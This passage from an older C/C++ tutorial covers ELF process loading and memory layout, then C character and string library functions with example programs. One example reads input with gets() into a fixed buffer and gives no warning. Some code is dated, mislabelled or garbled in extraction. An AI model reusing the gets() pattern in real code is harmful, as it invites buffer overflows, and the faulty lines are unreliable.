process creation. Other sections such as symbol information and debugging sections are merged into
other, non-load segments.

W.7 PROCESS LOADING

- In Linux processes loaded from a file system (using either the execve() family or spawn() system
calls) are in ELF format.
- If the file system is on a block-oriented device, the code and data are loaded into main memory.
- If the file system is memory mapped (e.g. ROM/Flash image), the code needn't be loaded into RAM,
but may be executed in place.
- This approach makes all RAM available for data and stack, leaving the code in ROM or Flash. In all
cases, if the same process is loaded more than once, its code will be shared.
- Before we can run an executable, firstly we have to load it into memory.
- This is done by the loader, which is generally part of the operating system. The loader does the
following things:

1. Memory and access validation.

www.tenouk.com Page 9 of 15
Firstly, the OS system kernel reads in the program file’s header information and does the
validation for type, access permissions, memory requirement and its ability to run its instructions.
It confirms that file is an executable image and calculates memory requirements.

2. Process setup includes:

i. Allocates primary memory for the program's execution.


ii. Copies address space from secondary to primary memory.
iii.Copies the .text and .data sections from the executable into primary memory.
iv. Copies program arguments (e.g., command line arguments) onto the stack.
v. Initializes registers: sets the esp ( stack pointer) to point to top of stack, clears the
rest.
vi. Jumps to start routine, which: copies main()'s arguments off of the stack, and
jumps to main().

- Address space is memory space that contains program code, stack, and data segments or in other word,
all data the program uses as it runs.
- The memory layout, consists of three segments (text, data, and stack), in simplified form is shown in
Figure w.5.
- The dynamic data segment is also referred to as the heap, the place dynamically allocated memory
(such as from malloc() and new) comes from. Dynamically allocated memory is memory allocated
at run time instead of compile/link time.
- This organization enables any division of the dynamically allocated memory between the heap
(explicitly) and the stack (implicitly). This explains why the stack grows downward and heap grows
upward.

Figure w.4: Process memory layout

W.8 RUNTIME DATA STRUCTURE – From Sections to Segments

- A process is a running program. This means that the operating system has loaded the executable file
for the program into memory, has arranged it to have access to its command-line arguments and
environment variables, and has started it running.
- Typically a process has 5 different areas of memory allocated to it as listed in Table w.5 (refer to
Figure w.4):

Segment Description
Often referred to as the text segment, this is the area in which the
executable instructions reside. For example, Linux/Unix arranges
Code - text
things so that multiple running instances of the same program share
segment
their code if possible. Only one copy of the instructions for the same
program resides in memory at any time. The portion of the executable

www.tenouk.com Page 10 of 15
file containing the text segment is the text section.
Statically allocated and global data that are initialized with nonzero
Initialized data – values live in the data segment. Each process running the same
data segment program has its own data segment. The portion of the executable file
containing the data segment is the data section.
BSS stands for ‘Block Started by Symbol’. Global and statically
allocated data that initialized to zero by default are kept in what is
called the BSS area of the process. Each process running the same
Uninitialized
program has its own BSS area. When running, the BSS data are
data – bss
placed in the data segment. In the executable file, they are stored in
segment
the BSS section. For Linux/Unix the format of an executable, only
variables that are initialized to a nonzero value occupy space in the
executable’s disk file.
The heap is where dynamic memory (obtained by malloc(),
calloc(), realloc() and new for C++) comes from.
Everything on a heap is anonymous, thus you can only access parts of
it through a pointer. As memory is allocated on the heap, the process’s
address space grows. Although it is possible to give memory back to
the system and shrink a process’s address space, this is almost never
done because it will be allocated to other process again. Freed
memory (free() and delete) goes back to the heap, creating what
Heap
is called holes. It is typical for the heap to grow upward. This means
that successive items that are added to the heap are added at addresses
that are numerically greater than previous items. It is also typical for
the heap to start immediately after the BSS area of the data segment.
The end of the heap is marked by a pointer known as the break. You
cannot reference past the break. You can, however, move the break
pointer (via brk() and sbrk() system calls) to a new position to
increase the amount of heap memory available.
The stack segment is where local (automatic) variables are allocated.
In C program, local variables are all variables declared inside the
opening left curly brace of a function body including the main() or
other left curly brace that aren’t defined as static. The data is popped
up or pushed into the stack following the Last In First Out (LIFO)
rule. The stack holds local variables, temporary information, function
parameters, return address and the like. When a function is called, a
stack frame (or a procedure activation record) is created and PUSHed
Stack onto the top of the stack. This stack frame contains information such
as the address from which the function was called and where to jump
back to when the function is finished (return address), parameters,
local variables, and any other information needed by the invoked
function. The order of the information may vary by system and
compiler. When a function returns, the stack frame is POPped from
the stack. Typically the stack grows downward, meaning that items
deeper in the call chain are at numerically lower addresses and toward
the heap.

Table w.5

- When a program is running, the initialized data, BSS and heap areas are usually placed into a single
contiguous area called a data segment.
- The stack segment and code segment are separate from the data segment and from each other as
illustrated in Figure w.4.
- Although it is theoretically possible for the stack and heap to grow into each other, the operating
system prevents that event.
- The relationship among the different sections/segments is summarized in Table w.6, executable
program segments and their locations

Executable file section


Address space segment Program memory segment
(disk file)
.text Text Code
.data Data Initialized data

www.tenouk.com Page 11 of 15
.bss Data BSS
- Data Heap
- Stack Stack

Table w.6

W.9 THE PROCESS

- The diagram below shows the memory layout of a typical C’s process. The process load segments
(corresponding to "text" and "data" in the diagram) at the process's base address.
- The main stack is located just below and grows downwards. Any additional threads or function calls
that are created will have their own stacks, located below the main stack.
- Each of the stack frames is separated by a guard page to detect stack overflows among stacks frame.
The heap is located above the process and grows upwards.
- In the middle of the process's address space, there is a region is reserved for shared objects. When a
new process is created, the process manager first maps the two segments from the executable into
memory.
- It then decodes the program's ELF header. If the program header indicates that the executable was
linked against a shared library, the process manager will extract the name of the dynamic interpreter
from the program header.
- The dynamic interpreter points to a shared library that contains the runtime linker code. The process
manager will load this shared library in memory and will then pass control to the runtime linker code in
this library.

www.tenouk.com Page 12 of 15
Figure w.5: C’s process memory layout on an x86.

W.10 RUNTIME LINKER AND SHARED LIBRARY LOADING

- The runtime linker is invoked when a program that was linked against a shared object is started or
when a program requests that a shared object be dynamically loaded.
- So the resolution of the symbols can be done at one of the following time:

1. Load-time dynamic linking – the application program is read from the disk (disk file) into
memory and unresolved references are located. The load time loader finds all necessary
external symbols and alters all references to each symbol (all previously zeroed) to memory
references relative to the beginning of the program.

2. Run-time dynamic linking – the application program is read from disk (disk file) into
memory and unresolved references are left as invalid (typically zero). The first access of an
invalid, unresolved, reference results in a software trap. The run-time dynamic linker

www.tenouk.com Page 13 of 15
determines why this trap occurred and seeks the necessary external symbol. Only this symbol
is loaded into memory and linked into the calling program.

- The runtime linker is contained within the C runtime library. The runtime linker performs several tasks
when loading a shared library (.so file).
- The dynamic section provides information to the linker about other libraries that this library was linked
against.
- It also gives information about the relocations that need to be applied and the external symbols that
need to be resolved. The runtime linker will first load any other required shared libraries (which may
themselves reference other shared libraries).
- It will then process the relocations for each library. Some of these relocations are local to the library,
while others require the runtime linker to resolve a global symbol.
- In the latter case, the runtime linker will search through the list of libraries for this symbol. In ELF
files, hash tables are used for the symbol lookup, so they're very fast.
- Once all relocations have been applied, any initialization functions that have been registered in the
shared library's init section are called. This is used in some implementations of C++ to call global
constructors.

W.11 SYMBOL NAME RESOLUTION

- When the runtime linker loads a shared library, the symbols within that library have to be resolved.
Here, the order and the scope of the symbol resolution are important.
- If a shared library calls a function that happens to exist by the same name in several libraries that the
program has loaded, the order in which these libraries are searched for this symbol is critical. This is
why the OS defines several options that can be used when loading libraries.
- All the objects (executables and libraries) that have global scope are stored on an internal list (the
global list).
- Any global-scope object, by default, makes available all of its symbols to any shared library that gets
loaded.
- The global list initially contains the executable and any libraries that are loaded at the program's
startup.

W.12 DYNAMIC ADDRESS TRANSLATION

- In the view of the memory management, modern OS with multitasking, normally implement dynamic
relocation instead of static.
- All the program layout in the address space is virtually same. This dynamic relocation (in processor
term it is called dynamic address translation) provides the illusion that:

▪ Each process can use addresses starting at 0, even if other processes are running, or even if the
same program is running more than one time.
▪ Address spaces are protected.
▪ Can fool process further into thinking it has memory that's much larger than available physical
memory (virtual memory).

- In dynamic relocation the address changed dynamically during every reference. Virtual address is
generated by a process (also called logical address) and the physical address is the actual address in
physical memory at the run-time.
- The address translation normally done by Memory Management Unit (MMU) that incorporated in the
processor itself.
- Virtual addresses are relative to the process. Each process believes that its virtual addresses start from
0. The process does not even know where it is located in physical memory; the code executes entirely
in terms of virtual addresses.
- MMU can refuse to translate virtual addresses that are outside the range of memory for the process for
example by generating the segmentation faults. This provides the protection for each process.
- During translation, one can even move parts of the address space of a process between disk and
memory as needed (normally called swapping or paging).
- This allows the virtual address space of the process to be much larger than the physical memory
available to it.
- Graphically, this dynamic relocation for a process is shown in Figure w.6.

www.tenouk.com Page 14 of 15
Figure w.6

Further reading and digging:

1. Check the best selling C / C++, Linux and Open Source books at Amazon.com.
2. To view Windows the executable file content, you can use dumpbin tool that comes with Microsoft
Visual Studio or more powerful one is a free PEBrowse utility.
3. For Linux/Unix/Fedora you can use readelf.

www.tenouk.com Page 15 of 15
MODULE X
USING LIBRARY FUNCTIONS -
C CHARACTER AND STRING
--------------------------------------------------------------------------
MODULE 25 & 26
C++ STL - CHARACTER AND STRING
(Template based)

My Training Period: hours

Abilities

▪ Able to understand the fundamentals of string and character.


▪ Able to find the C standard and non-standard header file resources.
▪ Able to understand and use the standard and no-standard header files.
▪ Able to understand and use pre-defined functions.
▪ Able to manipulate characters and strings by using the pre-defined functions.

Note:

- This Module presented just to show you how to use the functions in C Standard Library. Here, we
have to know which functions are readily available and which header file to be included in our
program as well as how to write the proper syntax.
- The problem encountered by programmers mostly related to data type, the number and order of the
arguments when passing them to the functions and the function return type during the function call.
- The functions used in this Module are from stdio.h, stdlib.h, string.h and ctype.h
headers.
- These functions are used heavily in programming for character and string manipulation such as text and
string search programs, from small programs, binary or linear search up to big and complex search
routines.
- In C++ these routines easily performed by the Standard Template Library (STL).
- Remember that these are not a new constructs, but just normal functions :o). Learn how to use them.
- gcc, g++ and Visual C++ compilation examples are given at the end of this Module.

X.1 Introduction

- In programming, solving the real world problems involved the numbers crunching, these numbers
including characters. Characters are the fundamental building blocks of the program.
- Every program is composed of a sequence of characters interpreted by the computer as a series of
instructions used to accomplish a task.
- A character constant is an int value represented as a character in single quotes.
- This means that the value of a character constant is the integer value of the character in the machine’s
character set.
- For example:

'z'represents the integer value of z.


'\n' represents the integer value of newline.

- A string is a series of characters treated as a single unit.


- It may include:

1. Letters.
2. Digit.
3. And various special characters such as +, -, *, /, $ and others.

- Or the set of characters lay on your keyboard. For example, every line of the following address is
strings.

"Mr. Smith"
"39, Big Picture Street"
"Smithsonian, Florida, FL"

www.tenouk.com Page 1 of 25
- Still remember the relation between array and pointers? A string in C/C++ is an array of characters
ending with the null character ('\0') and can be accessed via a pointer to the first character, as you
have learned before.
- In declaring a string, it may be assigned to either,

1. A character array or
2. A variable of type char * (pointer)

- For example:

char color[] = "blue"; - an array


char *colorPtr = "blue"; - a pointer

- Each line of code initializes a variable to the string "blue".


- The first declaration creates a 5 elements array named color containing the characters 'b', 'l', 'u',
'e' and '\0'.
- The second creates pointer variable colorPtr that points to the string "blue" somewhere in
memory.
- We also can declare and initialize with initializer list such as:

char color[] = {'b', 'l', 'u', 'e', '\0'};

- When declaring a character array to contain a string, the array must be large enough to store the string
and its terminating NULL character.
- The previous declaration determines the size of the array automatically based on the number of
initializer in the initializer list, which is also its initial value.
- A string can be assigned to an array using scanf. For example:

char word[20];
...
scanf("%s", word);

- The codes will assign a string to character array word[20] or string will be stored in an array word.
- Note that word is an array which is, a pointer, so the & is not needed with argument word. As you
have learned, an array name (without bracket) is a pointer to the first array element.
- Function scanf() will read characters until a space, newline, or end-of-file indicator is encountered.
- The string should be no longer than 19 characters to leave room for the terminating NULL character.

X.2 Character Handling Library

- This library includes several functions that perform useful tests and manipulations of character data.
- Each function receives a character, represented as an int or EOF as an argument.
- Character handling functions manipulate characters as integers.
- Table X.1 summarizes the functions of the character handling library, in ctype.h.

Function Prototype Function description


1 int isdigit(int c) Returns a true value if c is a digit and 0 (false) otherwise.
2 int isalpha(int c) Returns a true value if c is a letter and 0 otherwise.
Returns a true value if c is a digit or letter, and 0
3 int isalnum(int c)
otherwise.
int isxdigit(int Returns a true value if c is a hexadecimal digit character
4
c) and 0 otherwise.
Returns a true value if c is a lowercase letter and 0
5 int islower(int c)
otherwise.
Returns a true value if c is an uppercase letter and 0
6 int isupper(int c)
otherwise.
If c is an uppercase letter, tolower() returns c as a
7 int tolower(int c) lowercase letter. Otherwise, tolower() returns the argument
unchanged.
Returns a true value if c is a white space character such as
newline(‘\n’), space(‘ ‘), form feed(‘\f’), carriage
8 int isspace(int c)
return(‘\r’), horizontal tab(‘\t’) or vertical tab(‘\v’) and
0 otherwise.
Returns a true value if c is a control character and 0
9 int iscntrl(int c)
otherwise.

www.tenouk.com Page 2 of 25
Returns a true value if c is printing character other than a
10 int ispunct(int c)
space, a digit, or a letter and 0 otherwise.
Returns a true value if c is a printing character including
11 int isprint(int c)
space (‘ ‘), and 0 otherwise.
Returns a true if c is a printing character other than space
12 int isgraph(int c)
(‘ ‘), and 0 otherwise.

Table X.1: Summary of the character handling library function

- Let explore the program examples, don’t forget to include ctype.h header file.
//Using functions isdigit(), isalpha(), isalnum(), and isxdigit()
//but using C++ :o), cout…
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";

cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";

cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a
letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a
letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a
letter\n";

cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";

system("pause");
return 0;
}

Output:

www.tenouk.com Page 3 of 25
- Program example #2:
//Using functions islower(), isupper(), tolower(), toupper()
//using C++, cout…
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{

cout<<"Using functions islower(), isupper(),"<<endl;


cout<<"tolower(), toupper()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"\nAccording to islower():"<<endl;
islower('p') ? cout<<"p is a lowercase letter\n" : cout<<"p is not a lowercase
letter\n";
islower('P') ? cout<<"P is a lowercase letter\n" : cout<<"P is not a lowercase
letter\n";
islower('5') ? cout<<"5 is a lowercase letter\n" : cout<<"5 is not a lowercase
letter\n";
islower('!') ? cout<<"! is a lowercase letter\n" : cout<<"! is not a lowercase
letter\n";

cout<<"\nAccording to isupper():"<<endl;
isupper('D') ? cout<<"D is a uppercase letter\n" : cout<<"D is not a uppercase
letter\n";
isupper('d') ? cout<<"d is a uppercase letter\n" : cout<<"d is not a uppercase
letter\n";
isupper('8') ? cout<<"8 is a uppercase letter\n" : cout<<"8 is not a uppercase
letter\n";
isupper('$') ? cout<<"$ is a uppercase letter\n" : cout<<"$ is not a uppercase
letter\n";

cout<<"\nConversion...."<<endl;
cout<<"u converted to uppercase is "<<(char)toupper('u')<<endl;
cout<<"7 converted to uppercase is "<<(char)toupper('7')<<endl;
cout<<"$ converted to uppercase is "<<(char)toupper('$')<<endl;
cout<<"L converted to lowercase is "<<(char)tolower('L')<<endl;
system("pause");
return 0;
}

Output:

www.tenouk.com Page 4 of 25
- Program example #3:
//using functions isspace(), iscntrl(), ispunct(),
//isprint(), isgraph()
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
cout<<"using functions isspace(), iscntrl(),"<<endl;
cout<<"ispunct(), isprint(), isgraph()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"According to isspace(): "<<endl;


isspace('\n') ? cout<<"Newline is a whitespace character\n" : cout<<"Newline is
not a whitespace character\n";
isspace('\t') ? cout<<"Horizontal tab is a whitespace character\n" :
cout<<"Horizontal tab is not a whitespace character\n";
isspace('%') ? cout<<"% is a whitespace character\n" : cout<<"% is not a
whitespace character\n";

cout<<"\nAccording to iscntrl(): "<<endl;


iscntrl('\n') ? cout<<"Newline is a control character\n" : cout<<"Newline is not a
control character\n";
iscntrl('$') ? cout<<"$ is a control character\n" : cout<<"$ is not a control
character\n";

cout<<"\nAccording to ispunct(): "<<endl;


ispunct('y') ? cout<<"y is a punctuation character\n" : cout<<"y is not a
punctuation character\n";
ispunct('\'') ? cout<<"\' is a punctuation character\n" : cout<<"\' is not a
punctuation character\n";
ispunct('"') ? cout<<"\" is a punctuation character\n" : cout<<"\" is not a
punctuation character\n";

cout<<"\nAccording to isprint(): "<<endl;


isprint('$') ? cout<<"$ is a printing character\n" : cout<<"$ is not a printing
character\n";
isprint('\a') ? cout<<"Alert is a printing character\n" : cout<<"Alert is not a
printing character\n";

cout<<"\nAccording to isgraph(): "<<endl;


isgraph('Q') ? cout<<"Q is a printing character other than a space\n" : cout<<"Q
is not a printing character other than a space\n";
isgraph(' ') ? cout<<"Space is a printing character other than a space\n":
cout<<"Space is not a printing character other than a space\n";
system("pause");
return 0;
}

Output:

www.tenouk.com Page 5 of 25
X.3 String Conversion Functions

- These functions are from the general utilities library, stdlib.h header file.
- They convert strings of digits to integer and floating-point values.
- Table X.2 summarizes the string conversion functions.
- Note the use of const to declare variable nPtr in the function headers (read from right to the left as
nPtr is a pointer to a character constant).
- const declares that the argument values will not be modified during the program execution.

Function prototype Function description


double atof(const char *nPtr) Converts the string nPtr to double.
int atoi(const char *nPtr) Converts the string nPtr to int.
long atol(const char *nPtr) Converts the string nPtr to long int.
double strtod(const char *nPtr, char
Converts the string nPtr to double.
**endPtr)
long strtol(const char *nPtr, char
Converts the string nPtr to long.
**endPtr, int base)
unsigned long strtoul(const char
Converts the string nPtr to unsigned long.
*nPtr, char **endPtr, int base)

Table X.2: Summary of the string conversion functions of the general utilities library.

- The following are the program examples for this section.

//using atof() - converting string to double


#include <stdio.h>
#include <stdlib.h>

int main()
{
double dou;
dou = atof("95.0");

printf("Using atof() - converting string to double\n");


printf("------------------------------------------\n\n");
printf("The string \"95.0\" when converted to double is %.3f\n", dou);
printf("The converted value, %.3f divided by 2 is %.3f\n", dou, dou / 2.0);

system("pause");
return 0;
}

www.tenouk.com Page 6 of 25
Output:

- atoi() program example.

//using atoi() - converting string to integer


#include <stdio.h>
#include <stdlib.h>

int main()
{
int i;
i = atoi("1234");

printf("Using atoi() - converting string to integer\n");


printf("-------------------------------------------\n\n");
printf("The string \"1234\" converted to int is %d\n", i);
printf("The converted value %d minus 123 is %d\n", i, i - 123);
system("pause");
return 0;
}

Output:

- atol() program example.

//Using atol() - converting string to long


#include <stdio.h>
#include <stdlib.h>

int main()
{
long newlong;
newlong = atol("123456");

printf("Using atol() - converting string to long\n");


printf("----------------------------------------\n\n");
printf("The string \"123456\" converted to long int is %ld\n", newlong);
printf("The converted value, %ld divided by 2 is %ld\n", newlong, newlong / 2);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 7 of 25
- strtod() – converting string to double with 2 arguments.

//using strtod() - string to double


#include <stdio.h>
#include <stdlib.h>

int main()
{
double p;
char *thestring = "41.2% sample string";
char *thestringPtr;

p = strtod(thestring, &thestringPtr);

printf("Using strtod() - converting string to double...\n");


printf("-------------------------------------------\n\n");
printf("The string \"%s\" is converted to the\n", thestring);
printf("double value %.2f and the string \"%s\" \n", p, thestringPtr);
system("pause");
return 0;
}

Output:

- strtol() – converting string to long with 3 arguments program example.

//Using strtol()-converting string to


//long with 3 arguments
#include <stdio.h>
#include <stdlib.h>

int main()
{
long x;
char *thestring = "-1234567abc", *remainderPtr;

x = strtol(thestring, &remainderPtr, 0);

printf("Using strtol() - converting string to long,\n");


printf(" 3 arguments...\n");
printf("-------------------------------------------\n\n");
printf("The original string is \"%s\"\n", thestring);
printf("The converted value is %ld\n", x);
printf("The remainder of the original string is \"%s\"\n", remainderPtr);
printf("The converted value, %ld plus 567 is %ld\n", x, x + 567);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 8 of 25
- strtoul()- converting string to unsigned long with 3 argument program example.

//Using strtoul() - converting string to


//unsigned long with 3 arguments
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long x;
char *thestring = "1234567def", *remainderPtr;

x = strtoul(thestring, &remainderPtr, 0);

printf("Using strtoul() - converting string to\n");


printf(" unsigned long, 3 arguments\n");
printf("---------------------------------------\n\n");
printf("The original string is \"%s\"\n", thestring);
printf("The converted value is %lu\n", x);
printf("The remainder of the original string is \"%s\"\n", remainderPtr);
printf("The converted value, %lu minus 567 is %lu\n", x, x - 567);
system("pause");
return 0;
}

Output:

X.4 Standard Input/Output Library Functions

- These functions are from the standard input/output library, stdio.h.


- Are specifically for manipulating characters and string data.
- Table X.3 summarizes these functions and their usage.

Function prototype Function description


Input the next character from the standard input (keyboard) and
int getchar(void)
return it as an integer.
Input characters from the standard input (keyboard) into the array s
char *gets(char *s) until a newline or end-of-file character is encountered. A
terminating NULL character is appended to the array.
int putchar(int c) Print the character stored in c.
int puts(const char *s) Print the string s followed by a newline character.
int sprintf(char *s, const Equivalent to printf() except the output is stored in the array s
char *format, …) instead of printing on the screen.

www.tenouk.com Page 9 of 25
int sscanf(char *s, const Equivalent to scanf() except the input is read from the array s
char *format, …) instead of reading from the keyboard.

Table X.3 : The standard input/output library character and string functions

- Program examples functions from the stdio.h, beginning with gets() and putchar().

//Using gets() and putchar()


#include <stdio.h>
#include <stdlib.h>

//function prototype...
void reverse(char *);

int main()
{
//an array for storing the string...
char sentence[80];

printf("Using gets() and putchar()\n");


printf("--------------------------\n");
//prompt for user input...
printf("Enter a line of text:\n");
gets(sentence);

printf("\nThe line printed backward is:\n");


//reverse() function call...
reverse(sentence);
printf("\n");
system("pause");
return 0;
}

void reverse(char *s)


{
//test if nothing entered...
if(s[0] == '\0')
return;
//if something entered...
else
{
reverse(&s[1]);
putchar(s[0]);
}
}

Output:

- getchar() and puts().

//using getchar() and puts()


#include <stdio.h>
#include <stdlib.h>

int main()
{
char c, sentence[80];
int i = 0;

printf("Using getchar() and puts()\n");


printf("--------------------------\n");
puts("Enter a line of text: ");

www.tenouk.com Page 10 of 25
//while iteration/loop…
while (( c = getchar()) != '\n')
sentence[i++] = c;
//insert NULL at the end of string
sentence[i] = '\0';
puts("\nThe line of text entered was: ");
puts(sentence);
system("pause");
return 0;
}

Output:

- sprintf().

//Using sprintf()
#include <stdio.h>
#include <stdlib.h>

int main()
{
char s[80];
int x;
float y;

printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
system("pause");
return 0;
}

Output:

- sscanf().

//Using sscanf()
#include <stdio.h>
#include <stdlib.h>

int main()
{
char s[] = "31298 87.375";
int x;
float y;

www.tenouk.com Page 11 of 25
printf("Using sscanf()\n");
printf("--------------\n");
sscanf(s, "%d%f", &x, &y);
printf("array, s[] = 31298 87.375\n");
printf("\n%s\n%s%6d\n%s%8.3f\n",
"The values stored in character array s are: ",
"Integer: ", x, "Float: ", y);
system("pause");
return 0;
}

Output:

X.5 String Manipulation Functions of The String Handling Library

- These functions are for:

1. Manipulating string data.


2. Comparing strings.
3. Searching strings for characters and other strings.
4. Tokenizing strings (separating strings into logical pieces.
5. Determining the length of strings.

- We call these functions from string.h header file.


- Table X.4 summarizes these functions.

Function prototype Function description


char *strcpy(char *s1,
Copies the string s2 into the array s1. The value of s1 is returned.
const char *s2)
char *strncpy(char *s1, Copies at most n characters of the string s2 into the array s1. The
const char *s2, size_t n) value of s1 is returned.
Appends the string s2 to the array s1. The first character of s2
char *strcat(char *s1,
const char *s2) overwrites the terminating NULL character of s1. The value of s1 is
returned.
Appends at most n characters of string s2 to array s1. The first
char *strncat(char *s1,
const char *s2, size_t n) character of s2 overwrites the terminating NULL character of s1. The
value of s1 is returned.

Table X.4: The string manipulation functions of the string handling library

- Let explore the program examples, beginning with strcpy() and strncpy().

//Using strcpy() and strncpy()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char x[] = "Yo! Happy Birthday to me";
char y[25], z[15];

printf("Using strcpy() and strncpy()\n");


printf("----------------------------\n");
printf("The string in array x is: %s\n", x);
printf("The string in array y is: %s\n", strcpy(y, x));

www.tenouk.com Page 12 of 25
strncpy(z, x, 14);
z[14] = '\0';

printf("Only 14 characters ....\n", z);


printf("The string in array z is: %s\n", z);
system("pause");
return 0;
}

Output:

//Using strcat() and strncat()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[20] = "Happy ";
char s2[] = "New Year ";
char s3[40] = " ";

printf("Using strcat() and strncat()\n");


printf("--------------------------\n");
printf("s1 = %s\ns2 = %s\n", s1, s2);
printf("\nstrcat (s1, s2) = %s\n", strcat(s1, s2));
printf("strncat (s1, s2, 6) = %s\n", strncat(s3, s1, 6));
printf("strcat(s3, s1) = %s\n", strcat(s3, s1));
system("pause");
return 0;
}

Output:

X.6 Comparison Functions Of The String Handling Library

- Let explore the string comparison functions, strcmp() and strncmp(), of the string handling
library. Table X.5 is the summary of the functions and follow by the program examples.
- For these sections, how the computers know that one particular letter comes before another?
- All characters are represented inside the computer as numeric codes, when the computer compares
two strings, it actually compares the numeric codes of the characters in the strings.
- There are three popular coding schemes for character representation:

1. ASCII – American Standard Code for Information Interchange.


2. EBCDIC – Extended Binary Coded Decimal Interchange Code.
3. Unicode.

www.tenouk.com Page 13 of 25
- ASCII, EBCDIC and Unicode are called character codes or character sets.
- String and character manipulations actually involve the manipulation of the appropriate numeric codes
and not the characters themselves.
- These explain the interchangeability of characters and small integers in C/C++.

Function prototype Function description


Compares the string s1 to the string s2. The function returns
int strcmp(const char *s1,
0, less than 0, or greater than 0 if s1 is equal to, less than, or
const char *s2)
greater than s2, respectively.
Compares up to n characters of the string s1 to the string s2.
int strncmp(const char *s1,
The function returns 0, less than 0, or greater than 0 if s1 is
const char *s2, size_t n)
equal to, less than, or greater than s2, respectively.

Table X.5: The string comparison functions of the string handling library

//Using strcmp() and strncmp()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char * s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Birthday";

printf("Using strcmp() and strncmp()\n");


printf("----------------------------\n");

printf("s1 = %s\n", s1);


printf("s2 = %s\n", s2);
printf("s3 = %s\n", s3);
printf("\nstrcmp(s1, s2) = %2d\n", strcmp(s1, s2));
printf("strcmp(s1, s3) = %2d\n", strcmp(s1, s3));
printf("strcmp(s3, s1) = %2d\n", strcmp(s3, s2));

printf("\nstrncmp(s1, s3, 6) = %2d\n", strncmp(s1, s3, 6));


printf("strncmp(s1, s3, 7) = %2d\n", strncmp(s1, s3, 7));
printf("strncmp(s1, s1, 7) = %2d\n", strncmp(s1, s3, 7));
system("pause");
return 0;
}

Output:

X.7 Search Functions Of The String handling Library

- Used to search strings for characters and other strings. Table X.6 is the summary of these functions
and followed by program examples.

www.tenouk.com Page 14 of 25
Function prototype Function description

char *strchr(const char *s, Locates the first occurrence of character c in string s. If c is found, a
int c) pointer to c in s is returned. Otherwise a NULL pointer is returned.

size_t strcspn(const char Determines and returns the length of the initial segment of string s1
*s1, const char *s2) consisting of characters not contained in string s2.
size_t strspn(const char Determines and returns the length of the initial segment of string s1
*s1, const char *s2) consisting only of characters contained in string s2.
Locates the first occurrence in string s1 of any character in string s2.
char *strpbrk(const char
If a character from string s2 is found, a pointer to the character in
*s1, const char *s2)
string s1 is returned. Otherwise a NULL pointer is returned.
char *strrchr(const char Locates the last occurrence of c in string s. If c is found, a pointer to
*s, int c) c in string s is returned. Otherwise is a NULL pointer is returned.
Locates the first occurrence in string s1 of string s2. If the string is
char *strstr(const char
*s1, const char *s2) found, a pointer to the string in s1 is returned. Otherwise a NULL
pointer is returned.

A sequence of calls to strtok breaks string s1 into “tokens”, logical


pieces such as words in a line of text, separated by characters contained
in string s2. The first call contains s1 as the first argument, and
char *strtok(char *s1,
const char *s2) subsequent calls to continue tokenizing the same string contain NULL
as the first argument. A pointer to the current token is returned by each
call. If there are no more tokens when the function is called, NULL is
returned.

Table X.6: String manipulation functions of the string handling library.

//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string = "This is a test statement, testing! ";
char character1 = ‘e’, character2 = ‘z’;

printf(" Using strchr()\n");


printf(" --------------\n");

if (strchr(string, character1) != NULL)


printf("\’%c\’ was found in \"%s\".\n", character1, string);
else
printf("\’%c\’ was not found in \"%s\".\n", character1, string);

if(strchr(string, character2) != NULL)


printf("\’%c\’ was found in \"%s\".\n", character2, string);
else
printf("\’%c\’ was not found in \"%s\".\n", character2, string);
system("pause");
return 0;
}

Output:

//Using strcspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

www.tenouk.com Page 15 of 25
int main()
{
char *string1 = "The value is 3.14159";
char *string2 = "1234567890";

printf(" Using strcspn()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("not containing characters from string2 = %u", strcspn(string1, string2));
printf("\n");
system("pause");
return 0;
}

Output:

//Using strpbrk()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "This is a test statement";
char *string2 = "search";

printf(" Using strpbrk()\n");


printf(" ---------------\n");
